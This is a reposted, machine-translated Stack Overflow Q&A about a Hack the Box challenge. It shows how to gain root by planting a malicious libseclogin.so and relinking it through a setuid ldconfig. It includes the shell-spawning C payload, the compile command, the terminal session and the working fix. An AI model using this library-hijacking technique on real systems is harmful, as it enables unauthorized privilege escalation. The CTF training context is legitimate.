gpt4 book ai didi

linux - 手动链接可执行文件的 C 库

转载 作者:塔克拉玛干 更新时间:2023-11-03 00:33:29 25 4
gpt4 key购买 nike

我目前正在应对一项关于 Hack the Box 的挑战,我正在尝试让健身器材上的现有可执行文件由库运行,以代替“易受攻击”脚本中缺少的可执行文件。

缺少的库是 libseclogin.so。我在 /dev/shm 中创建了一个新文件,并从那里尝试使用 ldconfig 手动链接新库,以便在 时将我放入 shell myexec 运行。 ldconfig 设置了粘滞位。

这是我运行的命令。在最后你可以看到,当我再次运行 ldd 以检查库是否已重新链接到 /dev/shm/libseclogin.so 时,没有任何变化。

我是否遗漏了这个过程中的某些内容?

genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)
genevieve@dab:/dev/shm$ ls -la /sbin/ldconfig
-rwsr-sr-x 1 root root 387 Jan 14 2018 /sbin/ldconfig
genevieve@dab:/dev/shm$ nano libseclogin.c
genevieve@dab:/dev/shm$ gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl
libseclogin.c: In function ‘main’:
libseclogin.c:4:2: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
setuid(0);
^
libseclogin.c:5:2: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
setgid(0);
^
libseclogin.c:6:2: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
system("/bin/bash");
^
genevieve@dab:/dev/shm$ chmod +x libseclogin.so
genevieve@dab:/dev/shm$ ldconfig -l /dev/shm/libseclogin.so
genevieve@dab:/dev/shm$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/dev/shm
genevieve@dab:/dev/shm$ echo $LD_LIBRARY_PATH
:/dev/shm
genevieve@dab:/dev/shm$ ldd /usr/bin/myexec
linux-vdso.so.1 => (0x00007ffc5f7f0000)
libseclogin.so => /usr/lib/libseclogin.so (0x00007eff487fa000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eff48430000)
/lib64/ld-linux-x86-64.so.2 (0x00007eff489fc000)
genevieve@dab:/dev/shm$

这是我用来放入 shell 的基本 C scipt。

#include <stdio.h>

int main(void) {
setuid(0);
setgid(0);
system("/bin/bash");
}

创建共享库的编译命令。

gcc -Wall -fPIC -shared -o libseclogin.so libseclogin.c -ldl

最佳答案

问题主要归结于我对 ldconfig 的使用。

一旦我在没有明确指定 so 文件的情况下运行它,这似乎解决了问题。

正确的命令...

ldconfig/dev/shm

而不是...

ldconfig/dev/shm/libseclogin.c

然后,当我运行 ldd myexec 时,我得到了正确的输出。

genevieve@dab:/dev/shm$ ldd /usr/bin/myexec 
linux-vdso.so.1 => (0x00007ffdbc6d9000)
libseclogin.so => /dev/shm/libseclogin.so (0x00007f5d75cb4000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5d758ea000)
/lib64/ld-linux-x86-64.so.2 (0x00007f5d75eb6000)

关于linux - 手动链接可执行文件的 C 库,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/53665550/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com